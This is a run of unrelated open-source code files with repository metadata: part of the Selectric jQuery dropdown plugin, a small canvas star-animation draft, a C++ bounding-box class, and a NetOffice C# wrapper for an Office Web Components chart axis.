clearTimeout(_this.closeTimer); if ( e.type === 'mouseleave' ) { _this.closeTimer = setTimeout($.proxy(_this.close, _this), _this.options.hoverIntentTimeout); } else { _this.open(); } } }); // Toggle open/close _this.elements.wrapper.on('click' + eventNamespaceSuffix, function(e) { _this.state.opened ? _this.close() : _this.open(e); }); // Translate original element focus event to dummy input. // Disabled on mobile devices because the default option list isn't // shown due the fact that hidden input gets focused if ( !(_this.options.nativeOnMobile && _this.utils.isMobile()) ) { _this.$element.on('focus' + eventNamespaceSuffix, function() { _this.elements.input.focus(); }); _this.elements.input .prop({ tabindex: _this.originalTabindex, disabled: false }) .on('keydown' + eventNamespaceSuffix, $.proxy(_this.handleKeys, _this)) .on('focusin' + eventNamespaceSuffix, function(e) { _this.elements.outerWrapper.addClass(_this.classes.focus); // Prevent the flicker when focusing out and back again in the browser window _this.elements.input.one('blur', function() { _this.elements.input.blur(); }); if ( _this.options.openOnFocus && !_this.state.opened ) { _this.open(e); } }) .on('focusout' + eventNamespaceSuffix, function() { _this.elements.outerWrapper.removeClass(_this.classes.focus); }) .on('input propertychange', function() { var val = _this.elements.input.val(); var searchRegExp = new RegExp('^' + _this.utils.escapeRegExp(val), 'i'); // Clear search clearTimeout(_this.resetStr); _this.resetStr = setTimeout(function() { _this.elements.input.val(''); }, _this.options.keySearchTimeout); if ( val.length ) { // Search in select options $.each(_this.items, function(i, elm) { if (elm.disabled) { return; } if (searchRegExp.test(elm.text) || searchRegExp.test(elm.slug)) { _this.highlight(i); return; } if (!elm.alt) { return; } var altItems = elm.alt.split('|'); for (var ai = 0; ai < altItems.length; ai++) { if (!altItems[ai]) { break; } if (searchRegExp.test(altItems[ai].trim())) { _this.highlight(i); return; } } }); } }); } _this.$li.on({ // Prevent <input> blur on Chrome mousedown: function(e) { e.preventDefault(); e.stopPropagation(); }, click: function() { _this.select($(this).data('index')); // Chrome doesn't close options box if select is wrapped with a label // We need to 'return false' to avoid that return false; } }); }, /** * Behavior when keyboard keys is pressed * * @param {object} e - Event object */ handleKeys: function(e) { var _this = this; var key = e.which; var keys = _this.options.keys; var isPrevKey = $.inArray(key, keys.previous) > -1; var isNextKey = $.inArray(key, keys.next) > -1; var isSelectKey = $.inArray(key, keys.select) > -1; var isOpenKey = $.inArray(key, keys.open) > -1; var idx = _this.state.highlightedIdx; var isFirstOrLastItem = (isPrevKey && idx === 0) || (isNextKey && (idx + 1) === _this.items.length); var goToItem = 0; // Enter / Space if ( key === 13 || key === 32 ) { e.preventDefault(); } // If it's a directional key if ( isPrevKey || isNextKey ) { if ( !_this.options.allowWrap && isFirstOrLastItem ) { return; } if ( isPrevKey ) { goToItem = _this.utils.previousEnabledItem(_this.lookupItems, idx); } if ( isNextKey ) { goToItem = _this.utils.nextEnabledItem(_this.lookupItems, idx); } _this.highlight(goToItem); } // Tab / Enter / ESC if ( isSelectKey && _this.state.opened ) { _this.select(idx); if ( !_this.state.multiple || !_this.options.multiple.keepMenuOpen ) { _this.close(); } return; } // Space / Enter / Left / Up / Right / Down if ( isOpenKey && !_this.state.opened ) { _this.open(); } }, /** Update the items object */ refresh: function() { var _this = this; _this.populate(); _this.activate(); _this.utils.triggerCallback('Refresh', _this); }, /** Set options box width/height */ setOptionsDimensions: function() { var _this = this; // Calculate options box height // Set a temporary class on the hidden parent of the element var hiddenChildren = _this.elements.items.closest(':visible').children(':hidden').addClass(_this.classes.tempshow); var maxHeight = _this.options.maxHeight; var itemsWidth = _this.elements.items.outerWidth(); var wrapperWidth = _this.elements.wrapper.outerWidth() - (itemsWidth - _this.elements.items.width()); // Set the dimensions, minimum is wrapper width, expand for long items if option is true if ( !_this.options.expandToItemText || wrapperWidth > itemsWidth ) { _this.finalWidth = wrapperWidth; } else { // Make sure the scrollbar width is included _this.elements.items.css('overflow', 'scroll'); // Set a really long width for _this.elements.outerWrapper _this.elements.outerWrapper.width(9e4); _this.finalWidth = _this.elements.items.width(); // Set scroll bar to auto _this.elements.items.css('overflow', ''); _this.elements.outerWrapper.width(''); } _this.elements.items.width(_this.finalWidth).height() > maxHeight && _this.elements.items.height(maxHeight); // Remove the temporary class hiddenChildren.removeClass(_this.classes.tempshow); }, /** Detect if the options box is inside the window */ isInViewport: function() { var _this = this; if (_this.options.forceRenderAbove === true) { _this.elements.outerWrapper.addClass(_this.classes.above); } else if (_this.options.forceRenderBelow === true) { _this.elements.outerWrapper.addClass(_this.classes.below); } else { var scrollTop = $win.scrollTop(); var winHeight = $win.height(); var uiPosX = _this.elements.outerWrapper.offset().top; var uiHeight = _this.elements.outerWrapper.outerHeight(); var fitsDown = (uiPosX + uiHeight + _this.itemsHeight) <= (scrollTop + winHeight); var fitsAbove = (uiPosX - _this.itemsHeight) > scrollTop; // If it does not fit below, only render it // above it fit's there. // It's acceptable that the user needs to // scroll the viewport to see the cut off UI var renderAbove = !fitsDown && fitsAbove; var renderBelow = !renderAbove; _this.elements.outerWrapper.toggleClass(_this.classes.above, renderAbove); _this.elements.outerWrapper.toggleClass(_this.classes.below, renderBelow); } }, /** * Detect if currently selected option is visible and scroll the options box to show it * * @param {Number|Array} index - Index of the selected items */ detectItemVisibility: function(index) { var _this = this; var $filteredLi = _this.$li.filter('[data-index]'); if ( _this.state.multiple ) { // If index is an array, we can assume a multiple select and we // want to scroll to the uppermost selected item! // Math.min.apply(Math, index) returns the lowest entry in an Array. index = ($.isArray(index) && index.length === 0) ? 0 : index; index = $.isArray(index) ? Math.min.apply(Math, index) : index; } var liHeight = $filteredLi.eq(index).outerHeight(); var liTop = $filteredLi[index].offsetTop; var itemsScrollTop = _this.elements.itemsScroll.scrollTop(); var scrollT = liTop + liHeight * 2; _this.elements.itemsScroll.scrollTop( scrollT > itemsScrollTop + _this.itemsHeight ? scrollT - _this.itemsHeight : liTop - liHeight < itemsScrollTop ? liTop - liHeight : itemsScrollTop ); }, /** * Open the select options box * * @param {Event} e - Event */ open: function(e) { var _this = this; if ( _this.options.nativeOnMobile && _this.utils.isMobile()) { return false; } _this.utils.triggerCallback('BeforeOpen', _this); if ( e ) { e.preventDefault(); if (_this.options.stopPropagation) { e.stopPropagation(); } } if ( _this.state.enabled ) { _this.setOptionsDimensions(); // Find any other opened instances of select and close it $('.' + _this.classes.hideselect, '.' + _this.classes.open).children()[pluginName]('close'); _this.state.opened = true; _this.itemsHeight = _this.elements.items.outerHeight(); _this.itemsInnerHeight = _this.elements.items.height(); // Toggle options box visibility _this.elements.outerWrapper.addClass(_this.classes.open); // Give dummy input focus _this.elements.input.val(''); if ( e && e.type !== 'focusin' ) { _this.elements.input.focus(); } // Delayed binds events on Document to make label clicks work setTimeout(function() { $doc .on('click' + eventNamespaceSuffix, $.proxy(_this.close, _this)) .on('scroll' + eventNamespaceSuffix, $.proxy(_this.isInViewport, _this)); }, 1); _this.isInViewport(); // Prevent window scroll when using mouse wheel inside items box if ( _this.options.preventWindowScroll ) { /* istanbul ignore next */ $doc.on('mousewheel' + eventNamespaceSuffix + ' DOMMouseScroll' + eventNamespaceSuffix, '.' + _this.classes.scroll, function(e) { var orgEvent = e.originalEvent; var scrollTop = $(this).scrollTop(); var deltaY = 0; if ( 'detail' in orgEvent ) { deltaY = orgEvent.detail * -1; } if ( 'wheelDelta' in orgEvent ) { deltaY = orgEvent.wheelDelta; } if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY; } if ( 'deltaY' in orgEvent ) { deltaY = orgEvent.deltaY * -1; } if ( scrollTop === (this.scrollHeight - _this.itemsInnerHeight) && deltaY < 0 || scrollTop === 0 && deltaY > 0 ) { e.preventDefault(); } }); } _this.detectItemVisibility(_this.state.selectedIdx); _this.highlight(_this.state.multiple ? -1 : _this.state.selectedIdx); _this.utils.triggerCallback('Open', _this); } }, /** Close the select options box */ close: function() { var _this = this; _this.utils.triggerCallback('BeforeClose', _this); // Remove custom events on document $doc.off(eventNamespaceSuffix); // Remove visible class to hide options box _this.elements.outerWrapper.removeClass(_this.classes.open); _this.state.opened = false; _this.utils.triggerCallback('Close', _this); }, /** Select current option and change the label */ change: function() { var _this = this; _this.utils.triggerCallback('BeforeChange', _this); if ( _this.state.multiple ) { // Reset old selected $.each(_this.lookupItems, function(idx) { _this.lookupItems[idx].selected = false; _this.$element.find('option').prop('selected', false); }); // Set new selected $.each(_this.state.selectedIdx, function(idx, value) { _this.lookupItems[value].selected = true; _this.$element.find('option').eq(value).prop('selected', true); }); _this.state.currValue = _this.state.selectedIdx; _this.setLabel(); _this.utils.triggerCallback('Change', _this); } else if ( _this.state.currValue !== _this.state.selectedIdx ) { // Apply changed value to original select _this.$element .prop('selectedIndex', _this.state.currValue = _this.state.selectedIdx) .data('value', _this.lookupItems[_this.state.selectedIdx].text); // Change label text _this.setLabel(); _this.utils.triggerCallback('Change', _this); } }, /** * Highlight option * @param {number} index - Index of the options that will be highlighted */ highlight: function(index) { var _this = this; var $filteredLi = _this.$li.filter('[data-index]').removeClass('highlighted'); _this.utils.triggerCallback('BeforeHighlight', _this); // Parameter index is required and should not be a disabled item if ( index === undefined || index === -1 || _this.lookupItems[index].disabled ) { return; } $filteredLi .eq(_this.state.highlightedIdx = index) .addClass('highlighted'); _this.detectItemVisibility(index); _this.utils.triggerCallback('Highlight', _this); }, /** * Select option * * @param {number} index - Index of the option that will be selected */ select: function(index) { var _this = this; var $filteredLi = _this.$li.filter('[data-index]'); _this.utils.triggerCallback('BeforeSelect', _this, index); // Parameter index is required and should not be a disabled item if ( index === undefined || index === -1 || _this.lookupItems[index].disabled ) { return; } if ( _this.state.multiple ) { // Make sure selectedIdx is an array _this.state.selectedIdx = $.isArray(_this.state.selectedIdx) ? _this.state.selectedIdx : [_this.state.selectedIdx]; var hasSelectedIndex = $.inArray(index, _this.state.selectedIdx); if ( hasSelectedIndex !== -1 ) { _this.state.selectedIdx.splice(hasSelectedIndex, 1); } else { _this.state.selectedIdx.push(index); } $filteredLi .removeClass('selected') .filter(function(index) { return $.inArray(index, _this.state.selectedIdx) !== -1; }) .addClass('selected'); } else { $filteredLi .removeClass('selected') .eq(_this.state.selectedIdx = index) .addClass('selected'); } if ( !_this.state.multiple || !_this.options.multiple.keepMenuOpen ) { _this.close(); } _this.change(); _this.utils.triggerCallback('Select', _this, index); }, /** * Unbind and remove * * @param {boolean} preserveData - Check if the data on the element should be removed too */ destroy: function(preserveData) { var _this = this; if ( _this.state && _this.state.enabled ) { _this.elements.items.add(_this.elements.wrapper).add(_this.elements.input).remove(); if ( !preserveData ) { _this.$element.removeData(pluginName).removeData('value'); } _this.$element.prop('tabindex', _this.originalTabindex).off(eventNamespaceSuffix).off(_this.eventTriggers).unwrap().unwrap(); _this.state.enabled = false; } } }; // A really lightweight plugin wrapper around the constructor, // preventing against multiple instantiations $.fn[pluginName] = function(args) { return this.each(function() { var data = $.data(this, pluginName); if ( data && !data.disableOnMobile ) { (typeof args === 'string' && data[args]) ? data[args]() : data.init(args); } else { $.data(this, pluginName, new Selectric(this, args)); } }); }; /** * Default plugin options * * @type {object} */ $.fn[pluginName].defaults = { onChange : function(elm) { $(elm).change(); }, maxHeight : 300, keySearchTimeout : 500, arrowButtonMarkup : '<b class="button">&#x25be;</b>', disableOnMobile : false, nativeOnMobile : true, openOnFocus : true, openOnHover : false, hoverIntentTimeout : 500, expandToItemText : false, responsive : false, preventWindowScroll : true, inheritOriginalWidth : false, allowWrap : true, forceRenderAbove : false, forceRenderBelow : false, stopPropagation : true, optionsItemBuilder : '{text}', // function(itemData, element, index) labelBuilder : '{text}', // function(currItem) listBuilder : false, // function(items) keys : { previous : [37, 38], // Left / Up next : [39, 40], // Right / Down select : [9, 13, 27], // Tab / Enter / Escape open : [13, 32, 37, 38, 39, 40], // Enter / Space / Left / Up / Right / Down close : [9, 27] // Tab / Escape }, customClass : { prefix: pluginName, camelCase: false }, multiple : { separator: ', ', keepMenuOpen: true, maxLabelEntries: false } }; }));
mit
Bonsanto/spacetrip
SpaceTrip.js
1319
function getRandomInt(min, max) { max++; return Math.floor(Math.random() * (max - min)) + min; } var SpaceTrip = function (particleNumber, particleLink, minSpeed, maxSpeed, minSize, maxSize) { var width = window.screen.width; var height = window.screen.height; var canvas = document.createElement("canvas"); var ctx = canvas.getContext("2d"); var particles = []; canvas.style.width = width + "px"; canvas.style.height = height + "px"; document.body.appendChild(canvas); for (var i = 0; i < particleNumber; i++) { var size = getRandomInt(minSize, maxSize); var speed = getRandomInt(minSpeed, maxSpeed); var star = new Image(); star.src = particleLink; star.speed = speed; star.style.width = size + "px"; star.style.height = "auto"; particles.push(star); } this.draw = function () { var particle = new Image(); particle.src = "star.png"; var time = new Date(); // ctx.clearRect(0, 0, width, height); ctx.fillRect(0, 0, 500, 500); // ctx.restore(); // ctx.restore(); ctx.moveTo(5, 6); ctx.drawImage(particle, 0, 0, 100, 100); // window.requestAnimationFrame(draw); }; // window.requestAnimationFrame(draw); };
mit
dimkyt/SGIVPL
src/lib3D/BBox3D.cpp
638
#include "lib3D\BBox3D.h" #include <limits> lib3d::BBox3D::BBox3D() : m_min{FLT_MAX}, m_max{FLT_MIN} { } void lib3d::BBox3D::clear() { m_min.x = m_min.y = m_min.z = FLT_MAX; m_max.x = m_max.y = m_max.z = FLT_MIN; } void lib3d::BBox3D::add_point(const glm::vec3& p) { if (p.x < m_min.x) m_min.x = p.x; if (p.y < m_min.y) m_min.y = p.y; if (p.z < m_min.z) m_min.z = p.z; if (p.x > m_max.x) m_max.x = p.x; if (p.y > m_max.y) m_max.y = p.y; if (p.z > m_max.z) m_max.z = p.z; } const glm::vec3& lib3d::BBox3D::get_min() const { return m_min; } const glm::vec3& lib3d::BBox3D::get_max() const { return m_max; }
mit
NetOfficeFw/NetOffice
Source/OWC10/DispatchInterfaces/ChAxis.cs
17545
using System; using NetRuntimeSystem = System; using System.ComponentModel; using NetOffice.Attributes; namespace NetOffice.OWC10Api { /// <summary> /// DispatchInterface ChAxis /// SupportByVersion OWC10, 1 /// </summary> [SupportByVersion("OWC10", 1)] [EntityType(EntityType.IsDispatchInterface)] public class ChAxis : COMObject { #pragma warning disable #region Type Information /// <summary> /// Instance Type /// </summary> [EditorBrowsable(EditorBrowsableState.Advanced), Browsable(false), Category("NetOffice"), CoreOverridden] public override Type InstanceType { get { return LateBindingApiWrapperType; } } private static Type _type; [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public static Type LateBindingApiWrapperType { get { if (null == _type) _type = typeof(ChAxis); return _type; } } #endregion #region Ctor /// <param name="factory">current used factory core</param> /// <param name="parentObject">object there has created the proxy</param> /// <param name="proxyShare">proxy share instead if com proxy</param> public ChAxis(Core factory, ICOMObject parentObject, COMProxyShare proxyShare) : base(factory, parentObject, proxyShare) { } ///<param name="factory">current used factory core</param> ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> public ChAxis(Core factory, ICOMObject parentObject, object comProxy) : base(factory, parentObject, comProxy) { } ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis(ICOMObject parentObject, object comProxy) : base(parentObject, comProxy) { } ///<param name="factory">current used factory core</param> ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> ///<param name="comProxyType">Type of inner wrapped COM proxy"</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis(Core factory, ICOMObject parentObject, object comProxy, NetRuntimeSystem.Type comProxyType) : base(factory, parentObject, comProxy, comProxyType) { } ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> ///<param name="comProxyType">Type of inner wrapped COM proxy"</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis(ICOMObject parentObject, object comProxy, NetRuntimeSystem.Type comProxyType) : base(parentObject, comProxy, comProxyType) { } ///<param name="replacedObject">object to replaced. replacedObject are not usable after this action</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis(ICOMObject replacedObject) : base(replacedObject) { } [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis() : base() { } /// <param name="progId">registered progID</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public ChAxis(string progId) : base(progId) { } #endregion #region Properties /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisCrossesEnum Crosses { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisCrossesEnum>(this, "Crosses"); } set { Factory.ExecuteEnumPropertySet(this, "Crosses", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Double CrossesAtValue { get { return Factory.ExecuteDoublePropertyGet(this, "CrossesAtValue"); } set { Factory.ExecuteValuePropertySet(this, "CrossesAtValue", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChAxis CrossingAxis { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChAxis>(this, "CrossingAxis", NetOffice.OWC10Api.ChAxis.LateBindingApiWrapperType); } set { Factory.ExecuteReferencePropertySet(this, "CrossingAxis", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChFont Font { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChFont>(this, "Font", NetOffice.OWC10Api.ChFont.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasAutoMajorUnit { get { return Factory.ExecuteBoolPropertyGet(this, "HasAutoMajorUnit"); } set { Factory.ExecuteValuePropertySet(this, "HasAutoMajorUnit", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasAutoMinorUnit { get { return Factory.ExecuteBoolPropertyGet(this, "HasAutoMinorUnit"); } set { Factory.ExecuteValuePropertySet(this, "HasAutoMinorUnit", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasMajorGridlines { get { return Factory.ExecuteBoolPropertyGet(this, "HasMajorGridlines"); } set { Factory.ExecuteValuePropertySet(this, "HasMajorGridlines", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasMinorGridlines { get { return Factory.ExecuteBoolPropertyGet(this, "HasMinorGridlines"); } set { Factory.ExecuteValuePropertySet(this, "HasMinorGridlines", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasTitle { get { return Factory.ExecuteBoolPropertyGet(this, "HasTitle"); } set { Factory.ExecuteValuePropertySet(this, "HasTitle", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChLine Line { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChLine>(this, "Line", NetOffice.OWC10Api.ChLine.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChGridlines MajorGridlines { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChGridlines>(this, "MajorGridlines", NetOffice.OWC10Api.ChGridlines.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartTickMarkEnum MajorTickMarks { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartTickMarkEnum>(this, "MajorTickMarks"); } set { Factory.ExecuteEnumPropertySet(this, "MajorTickMarks", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Double MajorUnit { get { return Factory.ExecuteDoublePropertyGet(this, "MajorUnit"); } set { Factory.ExecuteValuePropertySet(this, "MajorUnit", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChGridlines MinorGridlines { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChGridlines>(this, "MinorGridlines", NetOffice.OWC10Api.ChGridlines.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartTickMarkEnum MinorTickMarks { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartTickMarkEnum>(this, "MinorTickMarks"); } set { Factory.ExecuteEnumPropertySet(this, "MinorTickMarks", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Double MinorUnit { get { return Factory.ExecuteDoublePropertyGet(this, "MinorUnit"); } set { Factory.ExecuteValuePropertySet(this, "MinorUnit", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public string Name { get { return Factory.ExecuteStringPropertyGet(this, "Name"); } set { Factory.ExecuteValuePropertySet(this, "Name", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChChart Parent { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChChart>(this, "Parent", NetOffice.OWC10Api.ChChart.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisPositionEnum Position { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisPositionEnum>(this, "Position"); } set { Factory.ExecuteEnumPropertySet(this, "Position", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChScaling Scaling { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChScaling>(this, "Scaling", NetOffice.OWC10Api.ChScaling.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public bool HasTickLabels { get { return Factory.ExecuteBoolPropertyGet(this, "HasTickLabels"); } set { Factory.ExecuteValuePropertySet(this, "HasTickLabels", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 TickLabelSpacing { get { return Factory.ExecuteInt32PropertyGet(this, "TickLabelSpacing"); } set { Factory.ExecuteValuePropertySet(this, "TickLabelSpacing", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 TickMarkSpacing { get { return Factory.ExecuteInt32PropertyGet(this, "TickMarkSpacing"); } set { Factory.ExecuteValuePropertySet(this, "TickMarkSpacing", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChTitle Title { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChTitle>(this, "Title", NetOffice.OWC10Api.ChTitle.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisTypeEnum Type { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisTypeEnum>(this, "Type"); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Index { get { return Factory.ExecuteInt32PropertyGet(this, "Index"); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public string NumberFormat { get { return Factory.ExecuteStringPropertyGet(this, "NumberFormat"); } set { Factory.ExecuteValuePropertySet(this, "NumberFormat", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisGroupingEnum GroupingType { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisGroupingEnum>(this, "GroupingType"); } set { Factory.ExecuteEnumPropertySet(this, "GroupingType", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum TickLabelUnitType { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum>(this, "TickLabelUnitType"); } set { Factory.ExecuteEnumPropertySet(this, "TickLabelUnitType", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum TickMarkUnitType { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum>(this, "TickMarkUnitType"); } set { Factory.ExecuteEnumPropertySet(this, "TickMarkUnitType", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 GroupingUnit { get { return Factory.ExecuteInt32PropertyGet(this, "GroupingUnit"); } set { Factory.ExecuteValuePropertySet(this, "GroupingUnit", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum GroupingUnitType { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartAxisUnitTypeEnum>(this, "GroupingUnitType"); } set { Factory.ExecuteEnumPropertySet(this, "GroupingUnitType", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartGroupingTotalFunctionEnum GroupingTotalFunction { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartGroupingTotalFunctionEnum>(this, "GroupingTotalFunction"); } set { Factory.ExecuteEnumPropertySet(this, "GroupingTotalFunction", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Orientation { get { return Factory.ExecuteInt32PropertyGet(this, "Orientation"); } set { Factory.ExecuteValuePropertySet(this, "Orientation", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Top { get { return Factory.ExecuteInt32PropertyGet(this, "Top"); } set { Factory.ExecuteValuePropertySet(this, "Top", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Left { get { return Factory.ExecuteInt32PropertyGet(this, "Left"); } set { Factory.ExecuteValuePropertySet(this, "Left", value); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Bottom { get { return Factory.ExecuteInt32PropertyGet(this, "Bottom"); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public Int32 Right { get { return Factory.ExecuteInt32PropertyGet(this, "Right"); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.ChCategoryLabels CategoryLabels { get { return Factory.ExecuteKnownReferencePropertyGet<NetOffice.OWC10Api.ChCategoryLabels>(this, "CategoryLabels", NetOffice.OWC10Api.ChCategoryLabels.LateBindingApiWrapperType); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Enums.ChartSelectionsEnum ObjectType { get { return Factory.ExecuteEnumPropertyGet<NetOffice.OWC10Api.Enums.ChartSelectionsEnum>(this, "ObjectType"); } } #endregion #region Methods /// <summary> /// SupportByVersion OWC10 1 /// </summary> [SupportByVersion("OWC10", 1)] public void Select() { Factory.ExecuteMethod(this, "Select"); } /// <summary> /// SupportByVersion OWC10 1 /// </summary> /// <param name="value">object value</param> [SupportByVersion("OWC10", 1)] public NetOffice.OWC10Api.Coordinate ValueToPoint(object value) { return Factory.ExecuteKnownReferenceMethodGet<NetOffice.OWC10Api.Coordinate>(this, "ValueToPoint", NetOffice.OWC10Api.Coordinate.LateBindingApiWrapperType, value); } #endregion #pragma warning restore } }
mit
madewithlove/glue
src/Console/Commands/ConfigurationCommand.php
4550
